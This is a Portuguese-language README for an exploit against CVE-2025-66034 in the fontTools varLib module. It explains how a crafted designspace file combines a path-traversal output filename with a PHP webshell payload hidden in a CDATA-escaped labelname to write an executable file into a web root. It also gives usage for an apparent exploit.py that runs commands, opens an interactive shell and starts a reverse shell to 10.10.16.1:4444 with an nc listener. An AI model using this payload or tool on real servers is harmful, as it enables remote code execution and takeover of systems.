
CVE-2025-66034 exploit and documentation
fontTools é uma biblioteca Python para manipulação de ficheiros de fonte. O seu módulo varLib processa ficheiros .designspace — um formato XML que descreve como múltiplos
mestres de fonte devem ser interpolados para produzir uma fonte variável.
Existem duas fraquezas nas versões afetadas:
1. Nome do ficheiro de saída não sanitizado
O atributo <variable-font filename="..."> num ficheiro designspace controla onde varLib escreve a fonte compilada de saída. A biblioteca não realiza qualquer validação ou normalização deste caminho antes de o passar ao sistema de ficheiros. Um atacante pode fornecer um caminho absoluto ou uma sequência de path traversal para escrever o ficheiro de saída em qualquer local para o qual o processo tenha acesso de escrita.
2. Conteúdo XML passado para a saída
fontTools serializa nomes de etiquetas de eixos de elementos <labelname> diretamente na tabela de nomes da fonte de saída como bytes brutos, sem sanitizar o conteúdo. Qualquer string colocada dentro de um bloco <labelname> — incluindo código PHP — aparece textualmente no ficheiro escrito.
Juntas, estas duas fraquezas permitem que um atacante que possa submeter um ficheiro designspace a um endpoint web que utilize fontTools escreva um ficheiro arbitrário contendo conteúdo arbitrário em qualquer caminho gravável no servidor.
O ficheiro designspace contém duas injeções.
A primeira está no elemento <labelname>:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
Secções CDATA em XML permitem dados de caracteres arbitrários sem escape de entidades, mas não podem conter a sequência ]]> porque isso termina a secção. A tag de fecho PHP ?> causaria um erro de análise se fosse escrita ingenuamente. A sequência ]]]]><![CDATA[> fecha uma secção CDATA imediatamente após ]] e abre uma nova começando com >, de modo que o conteúdo final renderizado é <?php system($_REQUEST["cmd"]);?> — PHP sintaticamente válido — sem nunca acionar um erro no analisador XML.
A segunda injeção está no caminho de saída:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools constrói o manipulador do ficheiro de saída a partir desta string sem normalização de caminho. O ficheiro é criado nessa localização exata.
varLib requer pelo menos uma fonte de origem para compilar. O mestre não precisa de ser uma fonte real — um TTF mínimo com um único glifo vazio é suficiente para passar na validação. O TTF base64 embutido neste exploit foi gerado com fontTools FontBuilder e contém apenas um glifo .notdef com um contorno quadrado e as tabelas mínimas necessárias (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
O exploit submete o designspace e o TTF como um POST multipart/form-data para o endpoint de geração de fontes da aplicação web. O servidor passa os ficheiros para varLib.build(). varLib analisa o designspace, lê o mestre, compila a fonte variável e escreve-a no caminho especificado em filename= — que é a raiz web.
O ficheiro escrito é um ficheiro de fonte binária com o payload PHP embutido no seu interior. O analisador PHP procura tags de abertura em ficheiros em vez de exigir que o ficheiro consista inteiramente em PHP. Quando o servidor web processa o ficheiro como PHP, encontra <?php system($_REQUEST["cmd"]);?> e executa-o. Tudo antes e depois da tag é emitido como está e ignorado.
O corpo da resposta é o binário da fonte bruta. A saída do comando cai entre dois marcos previsíveis que fontTools escreve na tabela de nomes:
TestWeight400 — derivado dos campos de família e classe de peso no TTF mestre embutido]]>ThinMEOW2 — do elemento <labelname> francês no designspaceO exploit corta a resposta entre estas duas strings e remove tags XML residuais com BeautifulSoup para produzir uma saída de comando limpa.
pip install requests beautifulsoup4
Os três parâmetros alvo são obrigatórios. Nenhum valor predefinido está codificado.
--process-url URL completa do endpoint do processador de fontes
--shell-url URL completa onde a webshell estará acessível após a escrita
--write-path Caminho no sistema de ficheiros onde o servidor escreverá a shell
Opcionais:
--session Valor do cookie PHPSESSID (se o portal exigir autenticação)
--no-plant Ignorar o passo de upload (shell já plantada)
--hostname Rótulo mostrado no prompt interativo
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Primeiro inicie um listener:
nc -lvnp 4444
Depois acione:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
O payload da reverse shell é codificado em base64 antes da transmissão para evitar problemas de escape de metacaracteres de shell dentro do parâmetro cmd da query.
existe na função build() do módulo varLib e no analisador de designspace.